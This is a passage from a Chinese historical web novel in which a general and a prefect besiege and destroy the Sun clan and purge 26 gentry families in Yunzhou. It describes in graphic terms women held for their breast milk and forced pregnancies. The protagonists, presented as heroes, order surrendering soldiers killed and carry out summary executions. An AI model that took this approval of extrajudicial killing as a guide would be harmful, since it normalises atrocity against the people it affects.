多少丈夫为护妻儿被残忍杀害;多少公婆为保护儿媳,被乱棍击毙;多少女子不堪受辱,选择投井、撞柱以表清白。 最令人痛彻心扉的是三年前那桩惨案,一对年轻夫妻,新婚不久丈夫便从军戍边,半年之后,妻子在家刚生完孩子不久,孙家人闯入家中,将其掳走。 年迈的公婆跪地苦苦哀求,竟被当场乱棍打死,那还在坐月子的年轻妇人被强行拖走,只留下襁褓中的婴儿独自在冰冷的屋内啼哭。 妇人在孙家日夜以泪洗面,苦苦哀求回家照料孩子,回应她的只有拳脚和皮鞭。 终于,她在三日后趁夜逃出魔窟,跌跌撞撞跑回家中,推开门看到的却是孩子早已冰冷的小小身躯,那不足月的婴儿,竟活活饿死在了自家炕上。 妇人悲痛欲绝,将孩子与公婆安葬后,自觉无颜面对戍边的丈夫,最终选择投湖自尽,了却这悲惨的一生。 孙家的此番恶行早已在云州传遍,以至于,很多怀有身孕的女子,纷纷离开云州,到其他地方避难,生怕被孙家盯上。 之后的数年,整座云州城都找不到一个产妇,孙秉承便只能让人到云州附近的其它县抓人。 十年来,被抓进孙家的女子少说也有数百,刚抓到孙家有奶的半年,皆被好生伺候,可一旦没了奶水,便会沦为奴隶,极少有被抓进去后,还能活着离开的女子。 可后来,实在抓不到人,孙家又心生毒计,那就是花钱买丫鬟侍女。 孙家挑选丫鬟侍女的标准与其他豪门世家不一样,一不看长相出身,二不看女红礼仪,但必须体态丰腴。 这些女子进入孙家之后,要不了多久就会怀孕,要么是孙家年轻后辈,要么是孙家的私军或是下人,怀的是谁的种并不重要,反正孩子都注定活不成,其目的只是为了要她们的奶水。 这样的悲剧,十年来在孙家的阴影下不断重演。 仅仅为了满足一个垂暮老者的口腹之欲,无数人家破人亡,这等恶魔,就算将其千刀万剐,也不足以消除他的滔天罪孽。 此刻,只见孙老爷子端坐于太师椅上,一名不满二十的女子神情木讷地敞开衣襟,任由这个比自己爷爷年纪还要大的老家伙将头埋在自己胸前。 女子眼神空洞,嘴唇微微颤抖,强烈的羞耻感让她浑身不自在,可为了活命,她别无选择。 待‘吃饱喝足’之后,孙老爷子才慢条斯理地坐正身子,立马有丫鬟跪地递来绸巾擦嘴。那名‘奶娘’则是退到一边,默默整理自己的衣衫,脸上毫无血色。 “外面什么情况了?”孙老爷子声音平稳,却自有一股压迫力。 “回父亲,凌川的人围而不攻,就时不时放一波冷箭!”长子孙伯宴急忙上前回应,腰弯得极低。 “老四那边呢,有消息没?”孙老爷子又问,手指轻轻摩挲着玉扳指。 “按时间算的话,应该快到了!”孙伯宴的声音里带着深深的敬畏,“只要老四回来,凌川就翻不起什么风浪!” 孙老爷子目光锐利,冷笑道:“毛都没长齐的小东西,真以为拿到了云州军权,便可为所欲为?我孙家百年基业,又岂是他能撼动的?还妄图更改亘古不变的规则,真是可笑!” “轰……” 他话音未落,一声巨响从庄园内传来,一栋厢房被砸出个大窟窿,瓦片四处乱飞,烟尘翻滚弥漫。 所有人都被吓得脸色剧变,孙老爷子猛地抬起头,厉声问道:“什么情况?” 孙伯宴面色煞白,快步来到祠堂门口查看情况。 围墙之上,孙仲霆一张脸变得难看无比。 他本以为对方是要搭建箭楼,没曾想那些造型各异的木头,竟然被组装成了一架架投石车。看到那几架投石车的时候,他与一众孙家私军脸都绿了。 第一卷 第265章 恶魔在人间! “你个杀千刀的凌川!”孙仲霆目眦欲裂,额角青筋暴起,从齿缝间迸出这句咒骂。 然而不待他多想,庄园四角架设的投石机已然装填完毕。伴随着绞盘转动的吱嘎声响,数丈长的梢杆猛然甩动,二三百斤的巨石化作黑影,挟着凄厉呼啸,狠狠砸向孙家庄园! “轰……” 震耳欲聋的巨响接连爆发,庄园内的屋舍应声碎裂。 顷刻间,瓦砾四溅、梁木崩折,烟尘冲天而起。 这些从天而降的巨石每一块都重逾数百斤,莫说是木构房屋,就连厚实的夯土围墙也在数轮轰击下坍塌崩裂。 四架投石机分据四方,不断调整射程和角度,将死亡与毁灭倾泻而下,庄园内房倒屋塌,惨叫声此起彼伏。 很快,多处围墙已然坍塌,孙家倚仗的地利优势荡然无存。 此刻云州铁骑若纵马冲杀,便可长驱直入,对孙家而言,无疑是灭顶之灾。 这四架投石机乃是墨巡依凌川所给图样精心打造。 与传统投石机相比,无论是射程、精度皆大为提升,更以绞盘省去大量人力,最妙的是,此投石机可反复拆解组装,极大解决了搬运难题。 昔日霍元青攻打狼烽口时,虽也曾将木材运至城外组装,却不过是预先制成部件。 而凌川的设计,却是将每个构件都精确加工,确保战场上能迅速组装,用毕又可拆卸留存下次使用。 这看似简单的改进,实则对加工精度要求极高,稍有差池便要么无法组装,要么结构松散不堪重用。 杨恪在一旁看得心惊,不禁叹道:“将军以此等利器对付孙家,未免杀鸡用牛刀了!” 凌川眼底寒光一闪:“正好借此练兵,让将士们熟悉器械使用!”他语气转冷,“孙家恶贯满盈,天理难容,若直接杀了,未免太便宜他们,须得让他们在死前,好生尝尝绝望的滋味!” 对于孙家罪行,凌川早已从情报中深知,仅看部分卷宗,便已杀意难抑。 为满足孙秉承一人之癖,竟残害如许多无辜女子,可谓丧尽天良。 然而,这仅是孙家恶行的冰山一角,纵是凌川不止一次见识到世间丑恶,当时也不禁双手发颤。 真应了那句话,地狱空荡荡,恶魔在人间! 不多时,柳衡前来禀报:“将军,孙家多处围墙已塌,是否命弟兄们冲进去拿人?” “不急!”凌川微微摇头,“我就是要让孙家人眼睁睁看着,他们的百年基业如何在眼前化为废墟!” “传令下去,孙家人若想突围,一律箭雨压回!”凌川补充道。 “得令!”柳衡领命而去。 杨恪心中暗惊,凌川此法简直是对孙家人意志的摧残。 那一块块呼啸而落的巨石,不仅砸碎了孙家人的傲气,更将他们的百年根基夷为平地。 而更要命的是,这一切都发生在他们眼前,却无能为力。 “孙家老四孙季璠想必快到了,将军可有应对之策?”杨恪试探问道。 凌川知他顾虑,杨恪忌惮的并非孙季璠本人,而是其玄影骑校尉的身份,乃至玄影骑主将陆沉锋。 凌川淡然一笑:“大人须知,这里是云州!” 虽只短短一句,态度却已明朗,此处是云州,纵是陆沉锋亲至,也无权干涉他行事。 “将军可知,他是陆老将军之子?” 凌川转目视之:“那大人也莫忘了,云州名义上的主将,仍是陆老将军!” 杨恪闻言一怔,随即恍然,他原以为凌川年少,未必谙熟官场之道,故出言提醒,不料对方早已深思熟虑,甚至比他看得更加深远透彻。 经四架投石机半个时辰连续轰击,昔日恢宏的孙家庄园早已千疮百孔,众多屋舍化为瓦砾,不少孙家人被飞石砸死,面对从天而降的巨石,他们既无法预判,也无处可躲。 眼下唯孙家祖祠尚且相对完整,此祠以石墙夯土筑成,远比木构建筑坚固,且位于庄园中心,投石机难以企及。 那些孙家旁系和下人们无资格入祠,只得聚集在庄园演武场上。 此处地势开阔,或可躲避飞石,然终究险象环生,因那四架投石机不断调整射程和角度,根本无法预判下一块巨石的落点。 期间孙家曾数次组织人手欲从破口突围,然云州军早已严阵以待,但凡有人冒头,便以铁箭招呼,几番尝试未果后,孙家人也知此路不通了。 躲在一处残垣后的孙仲霆面沉如水,他明白,照此下去,孙家百年基业必将彻底化为乌有。 “二爷,这可如何是好?” 孙仲霆把心一横:“快去将庄中所有下人都召集起来!让他们冲出去吸引云州军箭矢,你再组织死士换上下人衣物混迹其中,定要毁去那四架投石机!” 此计不可谓不毒,他这是在赌,赌凌川不敢对孙家下人放箭。 他料定,以凌川自诩正义的性子,断不会对这些下人多是普通百姓痛下杀手。 那名手下听闻孙仲霆的计策,眼中顿时闪过一抹阴冷的笑意,奉承道:“二爷此计高明,属下这就去办!” 很快,几支身着下人服饰的队伍高举双手,战战兢兢地从坍塌的围墙缺口处走了出来。 “军爷饶命!我们都是被孙家强掳来的苦命人,从未作恶啊!”众人凄声喊道,声音中充满了恐惧与哀求。 这一变故让云州军士们出现了刹那的犹豫,斩杀孙家恶徒,他们毫不手软;但若要向这些看似无辜的百姓放箭,许多人却于心不忍,因为从本质上说,这些人与他们本是同根生。 “所有人分散开!原地抱头蹲下!”各标标长皆是经验丰富的老兵,当即厉声喝道,沉着应对突发状况。 那些‘孙家下人’依言照做,各自蹲下。各标分别派人严加看管,同时迅速将情况层层上报。 消息很快传至凌川耳中,他先是眉头微蹙,随即嘴角浮现一抹冰冷的笑意,下令道:“传令各标,这其中必混有孙家死士,绝不可大意!令对方逐个前来,不分身份先缚住手脚,仔细搜身,待事了之后再逐一甄别审问!” 第一卷 第266章 百年基业成废墟! 孙仲霆原本的计划,是让死士混在下人之中,趁接近之机突然发难,击杀投石车周围的云州军,并一举摧毁器械。 然而他万万没想到,云州军竟谨慎至此,令所有人滞留两百步外,逐一上前受检。如此一来,他的计划彻底落空。 混在人群中的死士心知若再不动手,便将彻底失去机会。彼此交换一个眼神后,他们突然暴起,直扑投石车而去! 然而全军戒备的云州军岂容他们得逞?刹那间弓弦震响,箭如飞蝗。 “有孙家私军,放箭,杀了他们!”各标标长冷静下令。 “噗!噗!噗!” 一支支铁箭洞穿身体,鲜血四处飞溅,那些未着甲胄的死士根本无从抵挡,尽数被射杀在投石车百步之外。 “全都不许动!”军士们齐声怒喝,声震四野。 真正的孙家下人早已吓得魂飞魄散,连声告饶:“军爷明鉴!我们都是平民,那些死士是孙二爷安插进来的,我们不敢不从啊!” “你们当中还有谁是孙家私军?从实招来!若有包庇,格杀勿论!” 下人们惶然四顾,见周遭都是熟识的下人,连连摇头:“军爷,真的没有了!私军都被射死了,剩下的都是孙家下人!” 尽管如是,云州军仍未放松警惕,依旧令其逐一上前,缚住手脚严加看管。 见有人成功脱身,被困在庄园内的其他孙家下人仿佛看到了生机,纷纷效仿出逃。 孙家此时已无力阻止,只能眼睁睁看着人手流失,当然,其间也不乏孙家人试图混迹其中逃脱,却皆被识破。 云州军或许难以分辨孙家族人与下人,但这些下人彼此却再熟悉不过。加之云州军明令‘包庇者格杀勿论’,无人敢心存侥幸。 不多时,孙家下人多已逃散一空,此刻仍困守废墟的,除了孙家核心嫡系,便只剩数百私军。 随即,云州军的投石机变得愈发毫无顾忌,不过片刻工夫,本就千疮百孔的孙家庄园彻底化为一片废墟,唯剩几座残破建筑在烟尘中摇摇欲坠。 终于,孙家再也支撑不住,残存的围墙上升起了白幡。 “凌将军、杨刺史!我家老太爷请二位入内一叙,万事好商量!”孙家管家语气谦卑,早已不见往日嚣张。 然而凌川却置之不理,令柳衡继续轰击。 又过半个时辰,待石弹用尽,偌大的孙家庄园唯有那座祖祠尚且孤零零地矗立着。 放眼望去,竟难找到一片完整的瓦片。 孙家百年基业,竟被凌川硬生生砸成废墟,即便是那座祖祠,也被砸得千疮百孔,岌岌可危。 周边箭楼尽成木屑,围墙大多坍塌,仅余零星残段苦苦支撑。 孙家一千五百私军,此刻也仅剩不到五百人,且多半带伤,先前三百骑兵被柳衡所率重骑全歼;试图混入下人偷袭者尽数伏诛;再加上死于箭雨飞石者,伤亡已超千人之众。 紧接着,柳衡率五百重甲步兵杀入孙家,对残余私军展开清剿,战马在遍布碎石断木的废墟中难以行进,重甲兵只得弃马步战。 此时孙家私军早已胆裂魂飞,见云州军杀到,竟无人敢战,纷纷溃逃,一些走投无路者丢下兵器,跪地求饶。 对于逃窜者,云州军并未追击,毕竟外有重围,他们注定插翅难飞。而那些跪地求降者,柳衡却毫不容情,下令就地格杀。 片刻之后,废墟中又添数百具尸首,横七竖八地倒在瓦砾之间,鲜血染红了残垣断壁。 孙仲霆见大势已去,只得带着十余名亲信退守祖祠,作最后挣扎。 庄外,凌川对身旁的杨恪道:“大人,请吧!去会会这雄踞云州百年的第一豪门。” 杨恪嘴角含笑,他万万没想到,自己竟会以这种方式踏入孙家那座巍峨门楣,准确地说,此刻孙家已是一片废墟,连大门都无从寻觅。 他原以为今日必是一场苦战,却不料从始至终,孙家都被凌川死死压制,竟无半点还手之力。 凌川与杨恪并肩步入废墟,苍蝇亲率数十亲兵紧随其后。 踏入这片残垣断壁,杨恪看着满地巨石,不由得暗自心惊,远处观望时尚未察觉,近看才知这些石弹远比想象中更加骇人。 凌川与杨恪并肩而行,踏过满地的碎砖残瓦。昔日雕梁画栋的孙家庄园,此刻只剩下断壁残垣,烟尘尚未散尽,空气中弥漫着刺鼻的血腥与尘土混杂的气味。 亲兵队长苍蝇紧随其后,一双锐利的眼睛不停扫视四周,右手始终按在刀柄上,他身后的数十名亲兵分散四周,形成严密的护卫阵型。 越往庄园深处行走,景象越是惨烈。 巨石砸出的深坑随处可见,碎裂的梁木横七竖八地散落一地,其间偶尔可见未能及时逃出的私军尸体,已被落石砸得面目全非。 杨恪小心地避开一滩尚未干涸的血迹,忍不住叹道:“想不到孙家百年基业,竟在一日之间化为乌有。” 凌川目光冷峻,淡淡道:“多行不义必自毙,孙家作恶多端,今日之果,皆是往日所种之因,杨大人该不会是对孙家生出同情了吧?” 杨恪摇头说道:“那倒不至于,只是在想着偌大一座庄园,得消耗多少人力,收刮多少民脂民膏才能建起来!” 正说话间,前方传来一阵骚动。 苍蝇立即上前一步,护在凌川身前,只见几名云州军士押着一个衣衫褴褛的中年人走来。 “将军,此人鬼鬼祟祟地躲在废墟中,形迹可疑!”一名标长禀报道。 那中年人扑通一声跪倒在地,连连磕头:“将军饶命!小人只是孙家的账房先生,从未害过人呐!” 凌川扫了他一眼:“孙家人在何处?” 账房先生急忙指向前方:“就在前面祖祠,转过那片废墟就是!如今孙家剩下的人都退守在祖祠之中!” 凌川挥手让人将他带下去,继续前行。 越靠近祖祠,路上的尸体越多,显然刚才这里经历过一场恶战。不少云州军士正在清理战场,见到凌川等人,纷纷行礼让路。 第一卷 第267章 四郎孙季璠! 孙家祖祠内光线昏暗,几缕残光从屋顶破洞艰难透入,尘埃在光柱中无声翻涌。 供桌之上,孙仲霆的头颅赫然陈列,双目圆睁,凝固着死前的惊怒,血渍在古老木纹上蔓延,触目惊心。 空气中混杂着血腥、尘土和陈年香火的气味,压抑得令人窒息。 孙家一众老弱妇孺蜷缩在祠堂角落,面无人色,瑟瑟发抖。 唯有孙秉承仍端坐于太师椅上,他发髻散乱,尘土满面,曾经挺直的腰背已佝偻,唯独那双昏黄的老眼死死盯着踏入祠内的凌川,目光中翻涌着刻骨怨毒。 “凌川小儿!”老者声音嘶哑如破裂风箱:“你毁我家业,杀我子嗣,就不怕天谴吗?” 凌川冷眼相视,忽地嗤笑出声:“天谴?这两个字从你嘴里说出,实乃天下最大的讽刺!”他目光如刀,缓缓扫过战栗的孙家众人,“若苍天有眼,尔等满门罪孽,早已堕入无间地狱!” 凌川凌厉的目光缓缓从孙家一众嫡系身上扫过,“若这老天真长了眼,你们孙家这满门畜生,早就下地狱了!” “既然老天爷不管,我凌某人今日来送你们一程!” 这番话,让孙老太爷脸色铁青,胸口剧烈起伏,指着凌川想要呵斥,却一句话也说不出来,只能剧烈咳嗽。 “好一个云州望族!”杨恪目光扫过角落里那些衣衫不整的奶娘,语带冰霜,“仅为你那龌龊癖好,便害死多少无辜性命?” 侍女喂下一口茶止住咳嗽,孙秉承便嘶声道:“那些贱民岂配与我孙家相提并论!我孙家百年显赫……” “住口!”杨恪虽为文官,此刻却声如金石,“你这枉活八十二载的老贼,恶贯满盈,恬不知耻!纵将你千刀万剐,亦难赎罪孽万一!” 此时,长子孙伯宴强自怒声喝道:“尔等休要猖狂!待我四弟归来,必叫你们付出代价!” 凌川唇角微扬:“你难道没看出来,我正是在等他?” 恰在此时,门外传来急促脚步声。 一名云州军士入内禀报:“将军,百人骑兵正朝庄园而来,看兵甲制式,非云州驻军!” 祠内孙家人顿时骚动,绝望眼中重燃希冀。 孙秉承放声大笑:“听到了吗?我儿季璠回来了!凌川,此刻退去,老夫尚可既往不咎……” 凌川却对军士淡然下令:“不必阻拦,放他们进来。” 待军士领命而去,凌川方道:“素闻孙家四郎乃人中龙凤,今日怎么也要见一见!” 杨恪眉宇间隐现忧色。 孙秉承傲然道:“我儿乃北系军第一王牌玄影骑校尉!你若敢动孙家,一万玄影骑必踏平云州!” 凌川冷嗤:“据我所知,玄影骑主将似乎并非他孙季璠吧?更何况……”他目光扫过满目疮痍,“孙家,我已经动了!” 庄园外,百骑卷尘而至。 为首将领年约四十,身形精悍,铁甲染尘却不掩凛冽杀气,正是孙季璠。 身后一百骑一个个身形健硕,目光锐利,一股凌厉之气由内而外散发出来。 眼见家园化为废墟,孙季璠瞳孔骤缩,一股强烈不安攥紧心脏,围困庄园的云州军已接到命令放开通路,他无暇多想,率亲兵直扑祖祠。 沿途所过之处脚下尽是废墟,还有一块块巨石,孙季璠目光冰冷,但他还是强压着心中的怒火。 然而,踏入祠内的瞬间,孙季璠身形陡然僵住。 血腥气扑面而来,供桌上兄长的头颅赫然入目,墙角瑟瑟发抖的亲人,端坐椅中形容枯槁的父亲,满脸惶恐的兄长…… 还有那两位气度不凡的陌生人,那英姿卓绝的年轻人身着铠甲、腰悬战刀,年龄跟自己相仿的则是身着官服,仅是扫了一眼,这二人的身份便了然于胸。 “父亲!”孙季璠急步上前,蹲在父亲面前,紧握着他那双枯瘦的手。 见到孙季璠回来,孙家人仿佛瞬间恢复了底气,孙秉承脸上的恐慌也一扫而空,似乎,只要自己的小儿子在,凌川就不敢动他,不敢动孙家。 “四郎,你要是再不回来,家里人都死绝了!”孙秉承沉声说道。 孙季璠轻拍父亲的手,说道:“父亲安心!我在这里,若有人想动孙家,除非从我的尸体上踏过去!” 说完,他缓缓起身,手按刀柄,声音低沉:“云州副将几时有权查办世家大族?”他目光如刀,直逼凌川:“孙家纵有罪责,亦当由廷尉府查办,岂容你私动刀兵,毁家杀人!” 杨恪适时开口:“孙校尉,此事……” “杨刺史!”孙季璠厉声打断,“你身为云州刺史,主掌一州大小事务,竟纵容他凌川行此暴虐之事?” 见孙季璠如此咄咄逼人,凌川主动上前,直面孙季璠:“凌某身为云州副将,提点云州一切军务,自然要护云州百姓安宁,你孙家侵占田地、鱼肉百姓、强掳民女、虐杀无辜、蓄养死士,桩桩恶行人尽皆知!杨刺史深知你孙家树大根深,便让本将协同,有何不妥?” 孙季璠发出一声冷笑,眼中寒芒闪烁:“凌川,注意你的言辞!我孙家所作所为,还轮不到你来评判!” 凌川眼底掠过一丝冷意:“那你想说什么?” “我只问你!”孙季璠目光如刀,一字一顿道:“我孙家庄园,可是你下令摧毁的?” “是!”凌川坦然承认。 “我一路行来,满目皆是孙家族人的尸体,可是你下令屠杀的?” “不错!”凌川依旧平静,不做任何解释。 “我二哥孙仲霆,可是死于你手?” “对!” “很好!”孙季璠深吸一口气,压抑的怒火在这一刻轰然爆发:“来人!将凌川拿下!我要亲自押他去节度府,向大将军讨个公道!” 门口亲兵闻令而动,战刀瞬间出鞘。 “谁敢动,老子先宰了他!”苍蝇暴喝一声,率领亲兵队迅速上前,拉开架势与之对峙。他才不管什么玄影骑校尉,纵是天王老子来了,想要对自家将军不利,也得先问问他手中的战刀。 不仅是他,柳衡率领的五百重甲兵也同时动作,长枪如林,将孙季璠的亲兵团团围住。 第一卷 第268章 让你三刀! 刹那间,祖祠内刀光闪烁,杀气弥漫。 一众孙家人只觉空气凝滞,无形的压力让他们呼吸困难。 孙季璠虽只带百名亲兵,兵力处于绝对劣势,但他与部下脸上却无半分惧色。 只因他们来自北系军第一王牌玄影骑。 每个玄影骑士都是千里挑一的精锐,自有其傲骨与资本。 “凌川,你这是要与玄影骑为敌?”孙季璠冷声质问,手已按在刀柄之上。 凌川毫无畏惧地迎上他的目光:“本将处置云州军务,莫说你只是个玄影骑校尉,纵是陆沉锋亲至,也无权干涉!” 孙季璠怒极反笑:“既然如此,今日唯有拼个鱼死网破了!” “正想领教北系军第一王牌的风采!”凌川淡然回应,同时单手负后,暗中示意孟钊保护好杨恪。 双方剑拔弩张,一触即发。 孙季璠未料凌川竟如此强硬,丝毫不惧玄影骑威名,这位北系军后起之秀,果然如传闻中那般胆魄过人。 凌川敏锐地捕捉到他眼中一闪而过的犹豫,开口道:“孙校尉,念在你我同为北系同袍,若此刻带人离去,我就当你从未出现过!” 这话中深意,孙季璠自然明白。 私自带兵处理家事本就违反军纪,往日或许无人追究,但若今日事态扩大,节度府乃至廷尉府介入,他必将陷入被动。 然而当他目光再次扫过供桌上兄长的头颅,心中杀意再度升腾:“你我之仇,不共戴天!若连家人都保护不了,要这官职何用?” 这番话掷地有声,若不知孙家恶行,倒显得重情重义。 可惜他守护的,是一个作恶多端、鱼肉百姓的家族,而他的权势,正是孙家横行云州的底气。 孙季璠虽常年在外,但凌川不信,他对家族所作所为全然不知。 只见孙季璠缓缓拔出腰间战刀,眼神之中杀意无限。 “所有人听令,此乃我家中私事,与你们无关,我命你们即刻返回大营待命!”孙季璠对一百亲兵说道。 然而,一百亲兵依旧站在原地,目光冷峻,丝毫没有离开的意思。 孙季璠不再理会旁人,目光如炬直视凌川:“从此刻起,我不再是玄影骑校尉,只是孙家四郎,杀你,为家人报仇!” 他已决意与凌川不死不休,若胜,便取对方首级祭奠兄长;若败,不过一死而已! 但他不愿牵连那一百亲兵,这番决绝让凌川不由对他高看了一眼。 凌川目光微凝,尚未回应,杨恪急忙劝阻:“将军三思!此非江湖私斗,乃朝廷公务……” “好!”凌川却已朗声应下,“便依你所言!” 众人迅速退开,两人走出祠堂外的空地,孙季璠缓缓拔刀,刀身的寒光映射出空中的尘埃。 “此刀随我征战十二载,饮血无数!”孙季璠手腕轻振,刀锋嗡鸣,“今日,必取你项上人头,祭我兄长在天之灵!” 凌川解下腰间战刀,单手执于身前:“此刀名‘苍生’,意为当为天下苍生请命,孙家作恶多端,我自当斩之!” 话音未落,孙季璠已如猎豹般扑来,刀势凌厉刚猛,直取凌川要害。这一刀蕴含沙场血战淬炼出的杀伐之气,足见其校尉之位凭的是真本事,而非家世。 凌川侧身闪避,刀锋擦身而过,劲风刮面生疼。他避开这雷霆一击,却未反击,只是沉声道:“这一刀,我让你!因你戍边多年,曾为百姓浴血而战!” “我孙季璠何须你让!”孙季璠怒喝,刀光再起,如电闪雷鸣。 他的刀法大开大合,每一式都凝聚着战场上的生死搏杀之技。 凌川仰面下腰,刀锋几乎贴着鼻尖划过,不远处的孟钊不禁为他捏了一把汗。 避开第二刀后,凌川又道:“这第二刀,我再让你!因玄影骑戍卫北疆,功不可没!” 孙季璠怒极反笑:“凌川!你竟敢如此辱我!”言罢腾空而起,力贯双臂,一刀劈下。 凌川依旧侧身闪避,但孙季璠早有准备,刀锋一转,化劈为刺,直取心口!这一变招精妙狠辣,引得苍蝇等人屏息凝神。 然而凌川依旧未拔刀,在千钧一发之际再次避开。 “这第三刀,我仍让你!”凌川目光如古井无波,“因你明知必败,仍敢与我一战,不失军人血性!” 自得杨铁匠点拨后,凌川对武学的领悟已臻新境。 方才他看似轻描淡写连让三刀,实则对时机、距离的精准把控,这不仅需要超凡的眼力,更需要过人的胆魄。 自当日听了杨铁匠的那一番见解和指点后,凌川对于刀法的理解提升了整整一个层次,正所谓触类旁通,一旦拥有了这样的见解,提升的是整个人的境界,而非单在刀法一途。 孙季璠倍感屈辱,暴喝一声:“我要你为这狂妄付出代价!”再次挥刀扑来。 凌川稳立原地,双目如深潭,紧紧锁定对方动作,就在刀锋即将及体的刹那,他终于动了! “唰!” 一道寒芒如闪电划破虚空,凌川拔刀出鞘,顺势上撩。 “铛!” 清脆的金铁交鸣声中,孙季璠手中战刀应声而断,凌川的苍生刀稳稳停在他颈前三寸。 “你输了!”凌川语气平静。 孙季璠怔怔地看着颈前的雪亮刀锋,惨然一笑:“好快的刀……难怪能屡建奇功!” 凌川缓缓收刀入鞘,默然不语。 孙季璠转身走入祖祠,在父亲孙秉承面前双膝跪地:“父亲,四郎无能,护不住孙家……” 此时的孙秉承仿佛被抽空了所有力气,目光呆滞的瘫坐椅上,眼中只剩绝望,全程都没有看孙季璠一眼。 孙季璠又转向祖宗牌位,恭恭敬敬叩了三个头:“不孝子孙孙季璠,无力保全家族,唯有一死谢罪!” 言罢,竟举起断刀,反手刺入心口! “噗!” “四郎!”孙家人失声惊呼。 孙伯宴扑上前抱住他,痛呼道:“四郎,何至于此!” 孙季璠口涌鲜血,吃力地道:“大哥……孙家今日之祸,皆因往日作恶太多……我早劝过你们……这是报应……” “四郎,我们知错了!为兄悔不当初啊!”孙伯宴泪如雨下。 孙季璠艰难摇头:“太晚了……若有来生,定要……多行善事……”言毕,双手无力垂下。 第一卷 第269章 云州换新天! “大人!”门外的玄影骑齐声惊呼。 他们深知,这是校尉大人自己的选择,怪不得别人,更不会迁怒于凌川与云州军。 虽说孙家作恶多端,死有余辜,但孙季璠却不失为一条汉子。 哪怕是到了这种关头,他依然不想牵连自己的亲兵,可作为孙家人,家族的仇恨他又不能袖手旁观,所以他才会选择这样的方式。 或许,只有一死,才能解脱,亦或者说,他选择了逃避,而代价就是付出自己的生命。 正如他来时所言的那般,‘若有人想动孙家,除非从我的尸体上他过去!’他用行动践行了这句诺言。 凌川的心情有些沉重,他不由想起了前不久自杀于军营之中的涂洪。 人活在世上,有太多的身不由己,而且,很多时候,根本就没有选择的权利。 凌川转过目光,看向亲兵队的队长,说道:“你们立马返回,将情况如实上报即可!” 那亲兵队长点了点头,随即看了看躺在孙伯宴怀里已然没有生机的孙季璠一眼,转身带着众人离去。 紧接着,凌川缓步走到孙秉承跟前,居高临下地看着他,说道:“孙老爷子,是时候上路了!” “凌川,你不得好死!”孙秉承仿佛是用尽所有力气,从喉咙里发出近乎嘶吼的诅咒。 凌川不以为意地笑了笑,说道:“我会不会好死,你注定是看不到了,因为,你马上就要死了!” 说完,凌川转身离开,剩下的事情交给柳衡解决就行了。 离开已然成为废墟的孙家庄园,凌川与杨恪不由得松了一口气,云州第一门阀的孙家,就跟这座恢宏气派的庄园一样,彻底成为历史。 或许,若干年后人们想起那个恶贯满盈、鱼肉百姓的孙家,依然会恨得牙痒痒。 今日,云州二十余县风云激荡,凛冽的苍生刀高悬全境。 各县抽掉半数兵力雷霆出击,以犁庭扫穴之势,将盘踞地方的世家门阀连根拔起,刀光闪处,人头落地,往日高高在上的权贵们人头滚落。 松阳县庞家,乃与李家齐名的一等门阀。 天色微明,洛青云亲率八百精兵直扑庞府,以迅雷不及掩耳之势控制庞家嫡系,稍有反抗者,立斩不赦,不过一个时辰,称霸松阳百余年的庞家便土崩瓦解。 清河县朱家,作为云州二等门阀中的翘楚,在当地作威作福多年,百姓苦其久矣,轩辕孤鸿领兵突袭,以雷霆手段将其铲除,朱家嫡系三十余人当场伏诛,血染庄园。 武曲县内,唐岿然兵分三路,将三家三等家族一网打尽,杀得三姓人头滚滚,往日欺压百姓的豪强终得报应。 如此场景,在云州各县同时上演。 各路兵马雷霆出击,以摧枯拉朽之势将扎根当地的世家门阀尽数拔除,负隅顽抗者,就地正法。 凌川早有明令,不得滥杀无辜。若遇身份存疑者,先押送县衙收监,待细细审讯甄别。正因如此,不少旁系子弟与下人才得以保全性命,当然,他们最终的命运还得看后续彻查的结果。 而那些此前曾到节度府报备的世家门阀,目睹这番雷霆手段,无不心惊胆战。 虽然他们早先答应归还田产、开仓放粮,并献出一半家产分与百姓,但多半是迫于形势,内心实则滴血不已。 如今亲眼见得其他门阀的下场,这些家族只剩庆幸与后怕。 幸亏及早拜会刺史大人,否则今日刀下亡魂中,必有他们一份。 事实上,这些报备的世家原本也做着两手准备,若杨恪与凌川得胜,他们便破财免灾;若世家联盟获胜,他们亦可翻脸不认账,继续跟往常一样。 离开孙家庄园,凌川与杨恪返回刺史府。 很快,一匹匹快马接连送来战报,每一封战报的背后都预示着一家门阀的覆灭。 日落时分,最后一封战报送至杨恪案头。 四家一等世家、九家二等门阀、十三户三等家族,共计二十六家门阀被彻底铲除。 看着二十六封战报,二人相视而笑,长长舒了一口气。 自今日起,云州彻底换了新天。 或许此时的云州百姓尚未完全意识到,一个崭新的时代已经来临。从今往后,家家有地种,户户有余粮,他们即将迎来自己做主的时代。 “刺史大人,今日无论如何也得喝上两杯!”凌川笑道。 “正当如此!不如就去风雪楼,我来做东?”杨恪欣然提议。 听到风雪楼,凌川眼中闪过一丝异色,拉住他道:“无须破费,随便备几个小菜,就在此处小酌便可!” “好,就依将军!”杨恪笑道,“正好上次你送的两坛狼血酒还未开封。” 几样下酒菜很快备好,二人举杯相碰,凌川问道:“接下来,大人可有的忙了。” 杨恪颔首:“无妨,忙过这一阵,往后几年都会轻松不少,哈哈哈……” 他再次举杯:“此事能成,全赖将军之功。若单凭我这个书生,纵有想法与胆量,也无此能力啊!” 凌川摆手笑道:“大人言重了,你我冒死行事,为的是云州百姓!如今虽已完成最关键一步,将这些世家门阀铲除,但我仍要多说一句……” 杨恪放下酒杯,正色道:“将军请讲!” “眼下正是关键时期,大人须得多费心思,特别是从世家大族查抄的钱粮,定要悉数落到百姓手中,万不可全权交由各县衙代办,以免中途生变!” “将军所言极是!此事我已有对策,届时将亲自前往各县主持分派。” 凌川又道:“那些世家门阀虽已铲除,但余毒未清,绝不能松懈,以免新的势力趁乱崛起。” 杨恪郑重点头:“将军思虑周全,我必令各县保持警惕,绝不让这些百足之虫死灰复燃。” “我也会传令各县校尉,全力配合大人行事!”凌川开口说道。 忽然,杨恪长叹了一口气,说道:“我是怎么也没想到,杜攸竟然与世家勾结!” 此前,他对云州所有官员都进行了摸排,哪怕是二把手的方既白,都被其列入名单之中,唯独杜攸出身干净,而且,能力出众,深得杨恪的信任。 可正是这样一个人,险些要了他的命,若非凌川提前识破,今日他多半就真要死在青柳巷了。 凌川轻轻放下酒杯,说道:“既然大人都没查出他的问题,那足以说明,杜攸的背景不简单啊!” “将军可知道他的来历?”杨恪看着凌川问道。 后者微微一笑,说道:“有所猜测,尚不能确定!” 第一卷 第270章 喜欢,就别问值不值得! 风雪楼! 也不知是不是受这场动荡的影响,今夜的风雪楼异常冷清。 